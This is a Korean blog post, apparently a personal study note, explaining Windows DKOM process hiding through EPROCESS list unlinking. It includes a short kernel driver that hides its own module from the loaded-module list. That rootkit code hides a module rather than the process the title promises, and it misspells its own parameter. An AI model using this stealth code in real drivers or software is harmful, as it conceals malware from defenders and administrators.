그냥저냥

DKOM (프로세스 은닉) 본문

System

DKOM (프로세스 은닉)

ex3llo 2016. 7. 31. 09:19

DKOM (Direct Kernel Object Manipulation)


윈도우 OS는 프로세스 관리를 위해 EPROCESS 구조체를 이용한 이중 연결리스트를 사용한다.

각 프로세스에 대한 정보는 EPROCESS 라는 구조체로 관리되며, 중요하게 봐야할 필드는 아래와 같다.


(Windows XP 기준)

 - 0x084 (UniqueProcessId) : 각 프로세스 별로 부여된 PID

 - 0x088 (ActiveProcessLinks) : 프로세스 링크에 대한 이중연결리스트

 - 0x174 (ImageFileName) : 프로세스 이름

      

<EPROCESS 구조체 일부>                                                     <LIST ENTRY 구조체>



Flink : 다음 프로세스에 대한 EPROCESS 구조체를 가리킴

Blink : 이전 프로세스의 EPROCESS 구조체를 가리킴


Flink와 Blink의 값을 적절히 바꾸면 아래 그림처럼 특정 프로세스를 숨길 수 있다.



<소스코드>

NTSTATUS DriverEntry(PDRIVER_OBJECT pDirverObject, PUNICODE_STRING pRegistryPath) { PLDR_DATA_TABLE_ENTRY PrevEntry, ModuleEntry, NextEntry; DbgPrint("DriverSection address : %#x", pDriverObject->DriverSection); ModuleEntry=(PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; PrevEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Blink; // PrevEntry : 현재 모듈의 Blink 저장 NextEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Flink; // NextEntry : 현재 모듈의 Flink 저장 PrevEntry->InLoadOrderLinks.Flink=ModuleEntry->InLoadOrderLinks.Flink; // 이전 모듈의 Flink에 현재 모듈의 Flink 저장 NextEntry->InLoadOrderLinks.Blink=ModuleEntry->InLoadOrderLinks.Blink; // 다음 모듈의 Blink에 현재 모듈의 Blink 저장 ModuleEntry->InLoadOrderLinks.Flink=(PLIST_ENTRY)ModuleEntry; // 현재 모듈의 Flink와 Blink에 자기자신 ModuleEntry->InLoadOrderLinks.Blink=(PLIST_ENTRY)ModuleEntry; // 모듈을 가리키도록 설정

DbgPrint("Hidden driver loaded at address %#x", ModuleEntry->DllBase); return STATUS_SUCCESS; }







'System' 카테고리의 다른 글

Universal ShellCode 기초 정리  (0) 2017.02.06
ssdeep + Fuzzy Hash  (0) 2016.08.12
BootKit 동작과정 (보류)  (0) 2016.07.31
CPU Ring Level  (0) 2016.07.31
Comments